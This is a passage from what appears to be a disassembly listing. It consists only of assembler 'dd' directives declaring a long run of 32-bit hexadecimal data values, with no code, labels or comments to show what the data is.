		dd 680CB800h, 88EC1397h, 0DB50037h, 0EE15966Bh,	4C776E8Ah
		dd 4ADD74FBh, 0FFB89E00h, 0D616DA3Fh, 98921380h, 0D5C0408Ch
		dd 0E5E74830h, 0D9C511C0h, 115404h, 0D6ADF2EFh,	6F49D217h
		dd 149EF80Ch, 76712908h, 613B00BCh, 8BF703EAh, 4438C59Ah
		dd 1C8CC3Dh, 0D6DAAFC0h, 6420965Ah, 623F0069h, 0F88E2C57h
		dd 770649B3h, 0DE2738D5h, 3B4270h, 7E824C42h, 7A176h, 0A45D579Bh
		dd 7555C364h, 54A74000h, 467D69ACh, 1A9E0039h, 89E1CC81h
		dd 9D007A10h, 6A238518h, 7BBDF4h, 3D77BFA2h, 6382052Fh
		dd 1EC0D300h, 0AFC2818Bh, 0AD48017Ah, 0F3E38C89h, 0E95430C8h
		dd 35D15703h, 0B0E0EEA4h, 2C30BD2h, 0E13ACC7Dh,	6C401E33h
		dd 543CF89Dh, 5C68A432h, 174CD600h, 0E069E6h, 0B8B940EAh
		dd 672EC0D9h, 19BC2930h, 7A03CB16h, 0E06C90C7h,	0EC750BC2h
		dd 0C800EE1Fh, 0DD56B8E9h, 0C191218h, 1CB05569h, 70FF0AC8h
		dd 401811A0h, 51A0E100h, 0A2872542h, 0C6E900FAh, 64F4DFE2h
		dd 2F008184h, 0B9856DDEh, 866AE0h, 74044777h, 0DD53BD29h
		dd 3EBC5C00h, 0D455BBE2h, 227B0Dh, 0CBDE0BD6h, 39DD5FCh
		dd 3E41B000h, 56BCD02Fh, 0B9E9005Dh, 0AEDAA2A9h, 3400654Eh
		dd 0CAFBAF2Ch, 0A26BCFDh, 72F804C6h, 2F28FBh, 9517A536h
		dd 2390591Bh, 0DE311C02h, 0C0CB87C1h, 98274219h, 65B0EDCh
		dd 25E0F904h, 298AB6CFh, 9843AC05h, 9400C0DFh, 0A6DD7978h
		dd 48781Ah, 0FF9B671Fh,	0C234B706h, 12309F98h, 4D909C53h
		dd 0A3440069h, 4914A591h, 4B007A02h, 96BF3BDDh,	2ED362F4h
		dd 48AB57h, 873AF310h, 8E00D885h, 5EDC95CFh, 24B02A2Fh
		dd 3C0424h, 0E750280Dh,	7600C215h, 0B9210A06h, 7F43D4AEh
		dd 0FCE6009Dh, 0D684B2CAh, 2901DFD1h, 8C0A6CB5h, 89D0612Fh
		dd 0D5A309ADh, 80BD26h,	0EA7A2950h, 44998400h, 0F2EEB194h
		dd 541500EDh, 27036C8Eh, 0FE7210D6h, 0EAB59605h, 2C809D97h
		dd 30FCAFDh, 5DCB04AAh,	0A0072EB9h, 0B4D37E22h,	771A9341h
		dd 31CFD88Eh, 0F0835247h, 0A53FE44h, 6CB96500h,	0C899585Fh
		dd 7881614Fh, 203CC239h, 831851FFh, 7F406E4Ah, 14E840h
		dd 9A48F1FFh, 0C9FEAA71h, 84009C98h, 4C68E6F7h,	70F35370h
		dd 83FE1Ch, 2F488533h, 0AE8E66A9h, 0C3DD390Bh, 0A248802Ah
		dd 124DC638h, 71BE718h,	60BA41F4h, 55915472h, 19D98B00h
		dd 0FBC81642h, 0C4A612CEh, 0EE43004Ah, 1D83846Fh, 0ABF66400h
		dd 863D2690h, 443913E3h, 0B32000D6h, 0BF3A0DE8h, 88D76D29h
		dd 20802E0Eh, 0D1111AC5h, 4BD202F8h, 98E0CDD6h,	0F4A96060h
		dd 809F6D3Eh, 503BE937h, 50F38036h, 28B8CBFh, 67724B06h
		dd 80E01611h, 5101616Dh, 0A7917A32h, 2FC845E1h,	4993CA0h
		dd 0C3B65F85h, 29D40059h, 69145B26h, 44F0D701h,	0FEF5BC70h
		dd 2ABEF1C7h, 0A4068040h, 0E5C00107h, 16C71C03h, 70188023h
		dd 727E35E9h, 0BCDC00B2h, 1CC97129h, 0E4006A91h, 0FCA894DEh
		dd 0CB7EE5Bh, 25EC1936h, 0BB074638h, 579CE4FFh,	4D6D9AD1h
		dd 3CC71880h, 8DDFEC32h, 9918BF0Fh, 98F800D6h, 50169F1Eh
		dd 0CBF8EDh, 8CE25F3Ch,	6A8F69D5h, 0FC63F83Fh, 5C86B000h
		dd 67D9C225h, 0CCB8A0E1h, 0CFE8B5h, 0CD0AD58Fh,	568A3C29h
		dd 0F5949818h, 0E247648h, 12AAF764h, 0DD7E4023h, 2FDC72C8h
		dd 0B3986207h, 695059h,	498E6B84h, 6EDD00CCh, 9ACBA88h
		dd 78B536B4h, 0F6FD007Ah, 0B27E8963h, 700EC85h,	848303A5h
		dd 0FC58C065h, 4A7300BFh, 0E4D9786Ch, 880A22F6h, 0E486B2EEh
		dd 71900B00h, 39DA228h,	0F3A5465Bh, 0C81EFA84h,	1B857E2h
		dd 80B3B090h, 26607CC4h, 0B63401FEh, 0D3F0C7C2h, 31D0F44Bh
		dd 4676BE00h, 3522B807h, 445A0234h, 7E45A5FCh, 77C9EEE0h
		dd 8080013Dh, 5D188C52h, 0F82EBBD1h, 0A3FB00E1h, 1B973A07h
		dd 0E0011D51h, 0ED32EA86h, 98DBD6DEh, 0A82A5Bh,	0F2EC6A67h
		dd 53BC8F87h, 7E102216h, 866C3420h, 7213FEA8h, 48010034h
		dd 57EFD8B1h, 8D2C911Fh, 0D60018E7h, 1677873Dh,	844E0396h
		dd 515FCD38h, 72F8219Eh, 28944803h, 0E8B35E0Ah,	0E0EB31h
		dd 8F1EA185h, 0B5C5FCE8h, 23CE8202h, 87B0D1C7h,	0B3F0B2BAh
		dd 16F2B657h, 37504EFh,	147E664Ch, 464D5802h, 0C07BDB1Ch
		dd 1EAE3574h, 8BF6A8CFh, 0C000933Bh, 36FDF980h,	2DD7409h
		dd 20198F2Ah, 8288DE51h, 44E9007Dh, 17566F34h, 5800F041h
		dd 27DF9581h, 0F5FCF4h,	664D99CEh, 0C8CEB35h, 0D197AE03h
		dd 965628h, 0CE08BF60h,	0AA37147Ch, 0E992560h, 0EC4B15h
		dd 0F1B7CF2Bh, 79C52C9Fh, 0E763EB0Bh, 20300071h, 7C4E61h
		dd 0FDFC8A58h, 0E1CDCC18h, 0DC9D101h, 0F7983138h, 8860DAC9h
		dd 5E6B00E6h
		dd 7C7951D9h, 9605C3F3h, 0B7940E48h, 561FC91Eh,	80641109h
		dd 0B9D69ED0h, 0FB13074Ch, 50DBA602h, 83D5A8F9h, 86F02A00h
		dd 1744FE30h, 90F34C9Eh, 21C7D903h, 191F0178h, 2287D86Fh
		dd 0EC7196A9h, 0EBF06649h, 2A73125Eh, 8DAD0E05h, 38C6DBE0h
		dd 3C03270Ah, 0BC84576Bh, 73101EECh, 3B7A0BA5h,	6EFED880h
		dd 0D6B81743h, 6916A100h, 9D939C1Ah, 5C152481h,	890800ACh
		dd 1D13C419h, 6D3B2498h, 808E0096h, 0E97CF5DAh,	0F9870090h
		dd 1122A00Fh, 0B8132AEFh, 2800E63Fh, 0C0C15958h, 0A1F300B5h
		dd 0BBFBC629h, 32002E7Ah, 0E8F7823Fh, 37DBF31h,	0C835308h
		dd 9992FAC2h, 0BB076F40h, 5BB12D00h, 229F7B92h,	6515001Bh
		dd 324391FFh, 0F9018E8Fh, 52C90613h, 0C709EE4h,	0F8601EB6h
		dd 1E3E00A9h, 0CD9283FEh, 703848h, 4DE64771h, 3E902782h
		dd 7588F5h, 0D4DE7E15h,	89233451h, 0D11B500h, 0AD3C863Fh
		dd 132548A0h, 22DA277Ch, 38B76080h, 5FFAD19Eh, 96868200h
		dd 3C8DD56Ah, 3FFF05B0h, 310F572h, 0EC6B4D98h, 4F4A6900h
		dd 0CF1FD7A2h, 0D9671E41h, 4022DE01h, 1CB120C8h, 0AFA9A68h
		dd 0D07B5F02h, 68EE2F34h, 4D148ECh, 0A62A84FCh,	0CD288052h
		dd 0B12D8F9h, 0C8001AB1h, 7C0EBF1Dh, 331000ACh,	0E55B7582h
		dd 39EA46D2h, 84B7CD26h, 25C7261Fh, 8E0796h, 809772C4h
		dd 0F47D070Ah, 701AB899h, 0C72605BEh, 39AF1958h, 9704BAA2h
		dd 0E803FFD0h, 1D0CD5ACh, 437DD0h, 0CAC2DBCBh, 1A0F0921h
		dd 20FC74C4h, 0AF80AA7Fh, 0BDA40012h, 8DD4D98Ch, 0CA00ECD0h
		dd 2E92DCE1h, 9483389Ch, 0DF1C8068h, 0B8E27B9h,	3E5198A8h
		dd 93707400h, 0A1363DCEh, 3CC000B2h, 723292EFh,	710104A0h
		dd 881AEC0Ah, 3980A8A7h, 959A30F6h, 0B31E4F41h,	6E87CE7Dh
		dd 0D92094DBh, 24165Eh,	3C822E0Bh, 64CC63DAh, 199FE3Dh
		dd 1AFD660Ch, 0DFC5A8A5h, 0C0D6ECD0h, 22353E80h, 0CDB8E931h
		dd 0C790FF1Dh, 2A40AF5Eh, 43F0FD41h, 0E07966h, 0EC0B5B25h
		dd 7CBAA60Dh, 0FB67FF12h, 14161C41h, 4C20FA90h,	71D53658h
		dd 8CFCC419h, 0CEDBF618h, 7066A6D8h, 8DE23CC7h,	28988698h
		dd 0D2290CBBh, 0B08078BCh, 5ECB7906h, 4CB77D45h, 93042C9Eh
		dd 9C5B9781h, 0B2006148h, 6C2BE4D1h, 101C0B7h, 12FAADB5h
		dd 0F80AE379h, 705C513Fh, 93BE0960h, 21301006h,	98091FADh
		dd 4B08CAE6h, 0B44F602Ch, 61EACB5h, 0E4576F91h,	4896CC0Ch
		dd 1C9A0FADh, 38C5AB04h, 3FA80093h, 63E34A34h, 0C31C9C92h
		dd 0A600F772h, 10E902Eh, 1C4B90D7h, 0CBE1FF6h, 0D9683180h
		dd 9C602200h, 4D9517F7h, 901B27B1h, 0C3A0C884h,	0ABEAAFBBh
		dd 4BECACA0h, 0C2B869D1h, 0DC0009FCh, 893BA7CDh, 13938B50h
		dd 80F8250Eh, 74EC6164h, 29116200h, 0CA7EDE9Bh,	0CDB3C27h
		dd 0CCA4D001h, 0F00DDAF9h, 11485DBBh, 0BDC9005Ch, 0DC3B05F6h
		dd 406A0225h, 93EF4CCCh, 0FA9C6C60h, 8CF2A91Fh,	0CAB80684h
		dd 61B550C0h, 9AE41Ch, 9FFF9691h, 0F8FEB7C9h, 0CDE00D04h
		dd 1AC0C6BFh, 4AE3CAh, 3B63090h, 273E02EBh, 80C3413Ah
		dd 69FD8559h, 1D1E57h, 1A8CD86Eh, 556A9212h, 6798CD09h
		dd 0C1F80507h, 0F9C706AFh, 1106100Eh, 4ECFD477h, 0F1A80921h
		dd 94C8755Ch, 2C0E97A3h, 206711FAh, 92773552h, 394038CBh
		dd 6C917A81h, 0A87BFBA0h, 9F2EB41h, 6BD9E51Eh, 2BC0414h
		dd 0C5BC5587h, 23004092h, 0E59D032Ch, 2E507E83h, 8B7FD0F8h
		dd 861368E6h, 681F750Dh, 0B118ADAEh, 11CAB40h, 616FBC66h
		dd 89C30FC7h, 0CEFC19h,	4CE678C4h, 217402EDh, 0DA3B602Bh
		dd 17369340h, 109CA876h, 64876200h, 5F7B4Bh, 0C104E573h
		dd 0B3539133h, 0D4A4EB1Eh, 8A81F640h, 0CFB6B1EDh, 3800AD0h
		dd 0A22056B4h, 0FFF5B301h, 0CF2E6FF4h, 11882080h, 0CAA3ABF0h
		dd 0FB48EF00h, 6B8C96Bh, 0F2F3716Dh, 18F27A7Fh,	0D81F597Dh
		dd 0FF005E42h, 184E76D8h, 507ADCB5h, 58C38CADh,	490BBDCCh
		dd 0F480906Eh, 0A633D157h, 9522DC00h, 0C0CCDE03h, 4A7C000Dh
		dd 0B268208Ah, 0F93E57F0h, 0F180802Eh, 76231A12h, 521B05E6h
		dd 0C160CF84h, 0E717EFBCh, 4F5D69B8h, 0F05C660Fh, 889DFC65h
		dd 64D22A80h, 4CA1757h,	0DCCBB2B6h, 0C90C939Fh,	100C4050h
		dd 0F1F54828h, 0D1E3C00h, 724B973Eh, 0E40203C5h, 0E5D92F5Ah
		dd 34C92100h, 0D51A6E19h, 6C36000Ah, 0C53E6968h, 874C65D3h
		dd 0B7C20054h, 0E6CC30E7h, 683B0FC8h, 6EC034B6h, 1E449ADFh
		dd 0A1FB2700h, 7093222Ch, 0C8D0A002h, 0A8262881h, 0E82D4890h
		dd 67866F02h, 0A8600B9Bh, 0AD05E47Ah, 1BEA19Eh,	5204CCC0h
		dd 3CC200CAh, 6CF08716h, 0F0B893FCh, 0D4622100h, 0F78FA107h
		dd 1D301D65h, 5E0EC3C1h, 4103CDB4h, 0E295242Bh,	0C9EF0EBh
		dd 0B286005Fh, 0B911A841h, 4C0719A1h, 0E7BEB7BDh, 0EAE151B0h
		dd 1AB20004h, 6148E6BFh, 5801846Eh, 419CC760h, 51D4D88Dh
		dd 794C016Dh, 0F3BE8309h, 0DC69605Dh, 18F2ED00h, 0E68DD9B4h
		dd 0BCF2D8h, 71AF1D1h, 0A7FA41A0h, 0AA50BE00h, 9FA623E0h
		dd 69F653h, 8286D8DBh, 0FA5A7879h, 0A1381000h, 12D15435h
		dd 9E7D0025h, 0F00C5CEEh, 3004D8Fh, 458E022Dh, 0E9D78852h
		dd 0AA31B880h, 0DD2307CBh, 0B3041B0h, 9E651846h, 7F7A1CDFh
		dd 5D0039A9h, 0CD93AA87h, 0FC020BBCh, 0C60EC81Fh, 0FBAC87CBh
		dd 716692C0h, 1B565C3Fh, 349A440h, 0F1B47C46h, 7282E6F3h
		dd 888Bh, 2D0A2BCBh, 2E003DE4h,	0D99F404Ch, 0D2A8FBh, 0D5B087EBh
		dd 0CBDD50DAh, 7B02BF00h, 0C41E22F5h, 511D5CB9h, 0D6842F00h
		dd 11968891h, 740728B0h, 0EB1E06AEh, 30F0FD05h,	0E7BB00C0h
		dd 689316CBh, 0AC004089h, 8F6B7339h, 62E66EEEh,	6C1BC03Bh
		dd 2C1D6C50h, 44400D71h, 0A9BE8C2Bh, 0FB803E6h,	5429910Bh
		dd 0B08C87C4h, 150A63B9h, 0C36E000h, 90528C5Ah,	88DC48AEh
		dd 77E09878h, 91BF1DE6h, 0FFA24028h, 0F8FD642h,	0DE3C5F02h
		dd 81A0A4D4h, 955D9D1h,	0E00E7030h, 84B43078h, 0CC0AA911h
		dd 0C01AB60Bh, 0FE542719h, 0F442A280h, 49571898h, 272E19C5h
		dd 3E00847Bh, 0C42BAAD3h, 0B65303D8h, 4AAC02E0h, 8CC8E29Bh
		dd 0ECB87877h, 0DBA97A67h, 7D886901h, 651A530h,	1FD7AD79h
		dd 0E8E520A3h, 69C0D401h, 0E9B4D8BDh, 41F01C2h,	9977E39Fh
		dd 5C886065h, 4720BE01h, 63D6BF32h, 30CBFC24h, 0CA8970ADh
		dd 0BC3F624Fh, 0A9DB172Ch, 299A496h, 9E20FAF8h,	805433CCh
		dd 9340D51Fh, 8AA9D9EAh, 69861E28h, 7E36C061h, 0F6D7A39Dh
		dd 4F0ECE00h, 0DCE07210h, 4E3403DEh, 2EB81E52h,	0A1DB9E98h
		dd 0F5F62D12h, 0A974CCh, 12BA370Bh, 0C558666Ch,	0FD005D79h
		dd 9E038FCh, 0F2BF7Fh, 9DEF5176h, 0B64AD96Ch, 0AD3BC376h
		dd 984D813Eh, 0F5418CDAh, 0E5A0630h, 4CB2E095h,	0F00DB0Fh
		dd 8E0A4305h, 5DFE5907h, 0F72095D3h, 0F8B157E5h, 27AF0ACh
		dd 0E7B97B56h, 60772A6Eh, 78E83C88h, 5F300039h,	8AB56C92h
		dd 59004455h, 101D2398h, 60CD05E0h, 13D956A6h, 6598E5C9h
		dd 0C0F78E03h, 8779A79Dh, 7AC41A60h, 0E0330731h, 217791E4h
		dd 0E8B1DE84h, 0DA1E3754h, 11702E1Bh, 3DF1DBh, 0D904ED44h
		dd 5A2CE7A2h, 7AB7F300h, 13649FA4h, 86E900DDh, 0E5788974h
		dd 410038FBh, 8C539D8Bh, 0EEDF81h, 475F31BAh, 5DDD0BC1h
		dd 0F96046E8h, 0B67C5099h, 0B0546CE5h, 7A003340h, 0DC3412F3h
		dd 9DCBF7h
		dd 3CFFD905h, 0C20D044Dh, 3BE5B306h, 121851Dh, 63AD32EAh
		dd 0D03677B2h, 2F39817Ch, 87D09D3Bh, 0D1EED48Ch, 0BCA0A47h
		dd 0BC83D9h, 0A0903C9Eh, 5BB023A9h, 7634F000h, 13E4AD70h
		dd 86270057h, 0ECBE4196h, 1B0022CBh, 0FF9F511Eh, 57DA81h
		dd 621CF3A2h, 9587E796h, 0BFB3E7E9h, 0F48A3B80h, 0E800E372h
		dd 0C82FD42Ch, 14E13D9Dh, 0E4C58E7Fh, 9278E507h, 0EB5460CFh
		dd 0D900FA1Eh, 0AB35E45Eh, 902E318Eh, 0A070052Ch, 0C0591C45h
		dd 0BB21F2A3h, 0FE00ACA5h, 0C3C4AE0Dh, 0B16000F6h, 9A36DA27h
		dd 8500C790h, 871FCE0Ah, 0B7FE41h, 0D39E5AB5h, 77ADEA47h
		dd 5F5DFF05h, 0C841BD0Ah, 0CC3D0314h, 0B8C13080h, 23D1468Ah
		dd 8D7CA0A8h, 0B7427E00h, 0C46EA72Dh, 1B18C3B6h, 91015809h
		dd 71C04BB1h, 6C207F86h, 88B2038Dh, 38AC0487h, 0D2633CA0h
		dd 44496A01h, 0DE27D6CCh, 7C35FC40h, 0BE6F18B1h, 0F11748BDh
		dd 0D0004DF6h, 0DC9EDDDAh, 0EF9B89Ah, 49C8C72Ah, 7D850A0h
		dd 501D0BDh, 9DFD740Eh,	0AEC48E28h, 89BB2062h, 36EE1403h
		dd 98F5E23Ah, 10EA48h, 93072C5h, 29541CE1h, 999B8500h
		dd 0C17F0879h, 946C0197h, 70B7D461h, 0C64EF8A1h, 0F0CD8424h
		dd 0BE11FE02h, 0E4D4A349h, 0BBA5F00Ch, 0F0540079h, 0DADF6A98h
		dd 40079515h, 0FD0A7ECDh, 0FA42D160h, 48A6F62Fh, 507C0B7h
		dd 0E7F60BB1h, 101D974Ah, 0B46DB82Ch, 0F812B000h, 78649C42h
		dd 8FC0AB3h, 1CDC3A57h,	0C08C5C95h, 0B12CEC22h,	1100CB7Eh
		dd 0D25C484Eh, 769889h,	7867DF59h, 206CA0Dh, 4012AE24h
		dd 0E660D900h, 50E81C22h, 2A85CEh, 9B983D47h, 7B718BA9h
		dd 75DC0F00h, 5CE2FE22h, 0C6293F0Bh, 369CB18Fh,	0F0FF0A00h
		dd 9F601BCDh, 40C4C010h, 862D4417h, 724C8B1Fh, 11E8F00h
		dd 0F09741h, 7564140Bh,	0FDC842BDh, 94AB5312h, 9AC009h
		dd 0B0B2FB34h, 0D065005Fh, 0BF0E0347h, 16F2E176h, 45000579h
		dd 9637C57Fh, 91A3A1h, 4BC3756Bh, 0EF5DB752h, 7049B4Dh
		dd 8DD728C0h, 0E62B0600h, 1DDC126Ch, 4EDE1E77h,	0C4000D13h
		dd 244DE453h, 5580B900h, 0C260C64Bh, 68A239A0h,	6771B280h
		dd 100559DAh, 79481924h, 80B1CA01h, 0FFEC0344h,	2E6C4856h
		dd 3C55413h, 0B53EDC7Ch, 0DB7F107Fh, 3F001F72h,	6FCD9499h
		dd 0EDF804h, 46A5582Ah,	591B867Dh, 1FD93A00h, 93B578E4h
		dd 99AB0497h, 804FA973h, 0B296806Dh, 0D8D55E30h, 26A5B87h
		dd 44C80758h, 6C409CA5h, 0C40908FEh, 84B9128Ch,	0E082D618h
		dd 74796068h, 0E46F0084h, 6DBA33C8h, 707BB3ABh,	773F210Ah
		dd 7C00FC16h, 0F86EDB5Bh, 0AB8500A1h, 1C3EC68Bh, 0BE034993h
		dd 642B2116h, 6FD8F0BDh, 0F4600F5h, 83789E8Bh, 4478E9F3h
		dd 31BCB001h, 1725DF2Ah, 6880CCF3h, 1DF072AAh, 8E16CA30h
		dd 0FF4FC34Ch, 568400D2h, 0EAAE7BC1h, 29303B00h, 65B0DDE8h
		dd 0C0F498BBh, 0BD9F6A41h, 360EA5CCh, 401F2557h, 4F6F7ED0h
		dd 7B1AB0F5h, 0ADFED9h,	437D0C61h, 0EBF41B0h, 802C1639h
		dd 4A86F8ECh, 0F0A8Dh, 48DE3A33h, 2F382399h, 10CF203h
		dd 2C206E5Fh, 258C710h,	8D68E15Dh, 0BE973F40h, 4B08F700h
		dd 8087A86Ch, 199B04B9h, 80D45EA0h, 20A67392h, 16541D0Ah
		dd 9203D07Dh, 0A8A1335Ch, 48141749h, 4E007090h,	0EAC97EC0h
		dd 0F01542Eh, 0B0B7CB40h, 19F81425h, 0A8FA0E3Ah, 0B8806AA3h
		dd 9A322E77h, 8AC69300h, 231F68B2h, 0FE817E8Dh,	8588007Dh
		dd 95C2DC26h, 34003D99h, 72D491A5h, 82F0ECh, 2FF1427Bh
		dd 3CBBA99Eh, 9F983700h, 4FEDB678h, 111C0024h, 0AFBE60E3h
		dd 70F12567h, 0FC000844h, 0F4379D7Bh, 189E55Ah,	35CBBA93h
		dd 60EE42E8h, 6E489B50h, 0D448C7h, 1CF47D34h, 0FA5E91h
		dd 68A0838Fh, 22069ABEh, 6F3A3498h, 9BA680B3h, 82E00ED8h
		dd 9FD40051h, 0C4408C69h, 28C1F86Ch, 0F91370D7h, 4A7460h
		dd 64B66EA5h, 156AAFD1h, 0A65A5900h, 188DD470h,	96A507CDh
		dd 2033D78Bh, 4ED0E03Bh, 0CC000F98h, 34689054h,	629FE8h
		dd 930F0B8Ch, 5F05FBC1h, 1A070CE8h, 0F14841FFh,	72C71100h
		dd 480148E9h, 8CDF0E00h, 0A3CA93C5h, 546D8A03h,	0C27BADF4h
		dd 0C34042B3h, 0DD3097B0h, 125140F8h, 19FF3h, 0EF1CC454h
		dd 6C03CEE0h, 42EDBAE3h, 0D800797h, 299E529Dh, 0A9F374A0h
		dd 0F700ED80h, 115CE565h, 72DF0C2Dh, 2AEB0040h,	4E2747D5h
		dd 0EA00FC01h, 710D0222h, 63A0F8h, 9E0C088Dh, 580AFEBCh
		dd 3E7FC41Fh, 80BCF71Dh, 3CFB6691h, 1E2D201Dh, 1EED24h
		dd 0FD075BDCh, 497FA06Ch, 101438B8h, 0A58ABFh, 0C84BA660h
		dd 98A957D1h, 0A774B9h,	3AABAE9Dh, 46D2C536h, 9855FC30h
		dd 0CA7AEFh, 1DA3582Ch,	3D1076BBh, 38ECAE26h, 0A120101h
		dd 62F45143h, 848D4CB8h, 0F5E01100h, 0A36B2D7Eh, 0B4010898h
		dd 0BD420B10h, 39C9EAEBh, 64200A71h, 0A55B00E1h, 2BB4038Bh
		dd 0C93D0A47h, 0FADB813Eh, 75D85895h, 1C011320h, 8072AFC3h
		dd 25CA4B4Ah, 1001521Bh, 0B86C897Fh, 0D8401309h, 28DC62h
		dd 4ECBCC20h, 0C152915Ch, 97D60F00h, 946D638Dh,	5D0800F2h
		dd 7D48EEEDh, 0C600D0D8h, 616B5434h, 0AC4FA3h, 6CB48DF3h
		dd 601E277Bh, 0CFD76901h, 329245E5h, 4AC618DCh,	33840071h
		dd 0D9B3B1F1h, 0EF151300h, 5EFC66DEh, 36A8015Ch, 62E058FEh
		dd 0E68440D0h, 1D009D9Eh, 57049A7Eh, 79ECEBh, 0BF63C3C2h
		dd 2C618346h, 0C805F400h, 0B35B7FDEh, 8D26171Eh, 0C70003D6h
		dd 0FDD8E455h, 13004C3Dh, 76F17CD5h, 5249CEh, 0F66FAF09h
		dd 545D396Dh, 0DD00DF75h, 7BCFBD78h, 60E256h, 0D9C97FF0h
		dd 0DC808D89h, 2F99ED01h, 0D48F4657h, 2D00C862h, 0BF76909Bh
		dd 260942EBh, 80306515h, 3C09D338h, 72A705FBh, 0D3D0B1A3h
		dd 0F6EB29D8h, 756E6AE8h, 8E950B13h, 8C4CCA00h,	2CB98781h
		dd 268F621h, 19C85E86h,	72011850h, 0B5F7418Ch, 76FC962Bh
		dd 3EEB13B4h, 9C6000D8h, 5D0367CEh, 0C5316C60h,	3F077Ch
		dd 99996C2h, 6D77FEFAh,	4AE6709h, 5D5887ACh, 7A602147h
		dd 1E861DFh, 55DAF620h,	0E0CD4604h, 0AE00392Bh,	4EEA2CB1h
		dd 39142AD6h, 0E9003128h, 2B72461Bh, 0A20935E8h, 8264CD91h
		dd 40207EABh, 31D7A4h, 7798E6F7h, 8219C6ACh, 0E2C9A703h
		dd 3DFB8F7Dh, 0A83E880h, 711B7BCEh, 0C62EA5F0h,	68CAFE1Fh
		dd 8587043Ch, 58814AE4h, 88C8C73Dh, 1AFB8F0h, 4CE558C5h
		dd 0EC47BA25h, 0A0F2EF78h, 0C276F900h, 1F55D8FEh, 716D01F8h
		dd 6FB2E84Bh, 28D9D48Ah, 81505060h, 4C2AB98Ch, 8D0070A0h
		dd 5622A65Eh, 67D01CEh,	1018A161h, 37C0D50Fh, 0B76F0760h
		dd 0E9156DCBh, 0F87A6C86h, 73E8F00h, 0E89F4E99h, 0C82030ECh
		dd 0E0F53121h, 91556000h, 80E9A997h, 1E9D01F0h,	392062B3h
		dd 89CFCCF1h, 0A1259C18h, 268AEC12h, 29BD39Fh, 983C2C7Dh
		dd 0B69EBA60h, 3D2D4A0Ch, 2B41C9Bh, 2A266FB0h, 90C473E8h
		dd 40021400h, 99E92C0Bh, 0C073FA2h, 857F0500h, 0C9D823B7h
		dd 13889500h, 38F0E5A9h, 9E630075h, 20994F1Ah, 530217E8h
		dd 0FEAF7124h, 57E48079h, 8977B1h, 28420813h, 0DAB2CCD9h
		dd 50948C0Eh, 0EA25C12Eh, 5060599Dh, 0D9231DF4h, 0C1398084h
		dd 56DCF0A5h, 101F40B2h, 60C05987h, 0DA627EA8h,	44AF0F8Dh
		dd 8A209A91h, 124E7C70h, 0FD4AC50Eh, 5495867Ah,	0EB2C004Ah
		dd 0DEFFD498h, 0AC017BC0h
		dd 0D174997Fh, 28803C72h, 6029F3D5h, 5F0024A3h,	6BE920D0h
		dd 0C3B10Ah, 89B432B6h,	60F270A7h, 24E25A16h, 0F9115F00h
		dd 1EB7FE09h, 0C0F31C26h, 2E285130h, 98B0AA57h,	22A0A601h
		dd 0AB754B86h, 0DC0C30h, 0D0290B6Ch, 0C57D381Ah, 130045EAh
		dd 33D63132h, 1EDE59Dh,	0CE790CF3h, 4044BD22h, 860354F1h
		dd 45558003h, 0EFD5D3h,	4DD16FB0h, 0FCD4D205h, 6C5FB200h
		dd 0C17F59B4h, 307160C8h, 3311FB96h, 91F2DF01h,	0EBDC0479h
		dd 0D2FCC9F1h, 76D11F3Eh, 809A9FE9h, 90259F40h,	4C73C181h
		dd 0EDF7B50Bh, 606F8FDCh, 0EE67AA98h, 8DDF0057h, 44FD48A4h
		dd 0CD02D77Ah, 5BF940C7h, 94F4D8h, 7EE43E03h, 100651Bh
		dd 4C6C9277h, 0D24DEh, 0CE22E610h, 3779960Fh, 64FAEB01h
		dd 7F618FD8h, 1E0F1D0h,	4BB50A15h, 962275CDh, 6C07DA28h
		dd 6B31583Dh, 9840D1BAh, 47FE13h, 799D23F8h, 9458D053h
		dd 49E72A00h, 0D57CCE46h, 42E33B55h, 659B3063h,	70577D91h
		dd 2135879h, 54C0F0DCh,	753CB39h, 945C2671h, 91B5E03Bh
		dd 51097BABh, 98B0219Bh, 1DFCDCh, 0D8247EBAh, 64D54729h
		dd 0C64BCD00h, 0E15286CFh, 71E31E6Ah, 556F43BBh, 7F9170E9h
		dd 0E61180BFh, 0AB7ADE77h, 2F791DC0h, 0E7F380EBh, 14B91729h
		dd 19A992Dh, 91C11F5Ch,	1201A0BCh, 1C2FBA07h, 0D024D1FFh
		dd 94501FB4h, 0BC501410h, 0DF07191Ch, 0D7172FB1h, 0B5432547h
		dd 1001ED14h, 8704EA83h, 3A5C24E8h, 68011C89h, 801E1E7h
		dd 81E1FB8Bh, 286D3C4h,	626750FCh, 1CDD890Ah, 0C0F22A0h
		dd 8BA525Bh, 0DA11010Fh, 1063B951h, 59D889D1h, 340DFF5Ah
		dd 5C835B24h, 0C553699Fh, 1FC381E3h, 870CF328h,	0E95C9600h
		dd 0FFF85D8Fh, 0BDB800EDh, 3080220h, 0C60050C5h, 0FA157185h
		dd 0C0684707h, 0FFCF38EAh, 126029B5h, 93858D18h, 60CDF3Bh
		dd 14D88BD0h, 0C2F1920h, 1046850h, 0D352FF7Ah, 1D533F2Ah
		dd 8351F8BFh, 0ACC189E3h, 839F40DFh, 96EEDBDh, 840F031Ch
		dd 8BD9060Bh, 1A1AC59Dh, 1705E932h, 689591BBh, 8D890CC3h
		dd 5651B0B5h, 95FF5306h, 847C03A5h, 6EF0F20Eh, 4E0135E9h
		dd 915C3E80h, 12670974h, 0ED85912Fh, 0C6028DFFh, 11E66206h
		dd 6060A050h, 0E0135877h, 0DA007857h, 7CA93BE5h, 0D01F00D7h
		dd 7A025C3Dh, 2100EC08h, 364B230Fh, 393353B8h, 0BA00CA09h
		dd 0DB686148h, 7B18A3FCh, 0E08B14E8h, 6B830041h, 2FEDAA74h
		dd 0C60A4CC7h, 82BE3ACAh, 0FEDCB700h, 7151595Ch, 0E9611860h
		dd 0C11D3D11h, 58056726h, 0AA21A400h, 1B62088h,	0DAF3AE8Ch
		dd 3058612Fh, 6A61C85Dh, 28E0F32h, 4C7BC48h, 39F1E7BBh
		dd 97358044h, 0F4F5C628h, 313DFFFBh, 62C79C66h,	8D0F5A83h
		dd 0E83B1812h, 0B8040B0Ah, 0F090BF00h, 23268951h, 5EA4C0FDh
		dd 54DCF281h, 0EFECED70h, 0CF434B0Ch, 0C441801h, 0FC29CB09h
		dd 7D03F80Eh, 0E95274EFh, 4A590007h, 1C48FE30h,	8F2A13C7h
		dd 11793A01h, 8669AC0Bh, 0FA2800E5h, 0DC800F28h, 815F001Fh
		dd 0B6F2FEE9h, 6B87C64h, 0EFF0015Fh, 42100590h,	1287FA8Bh
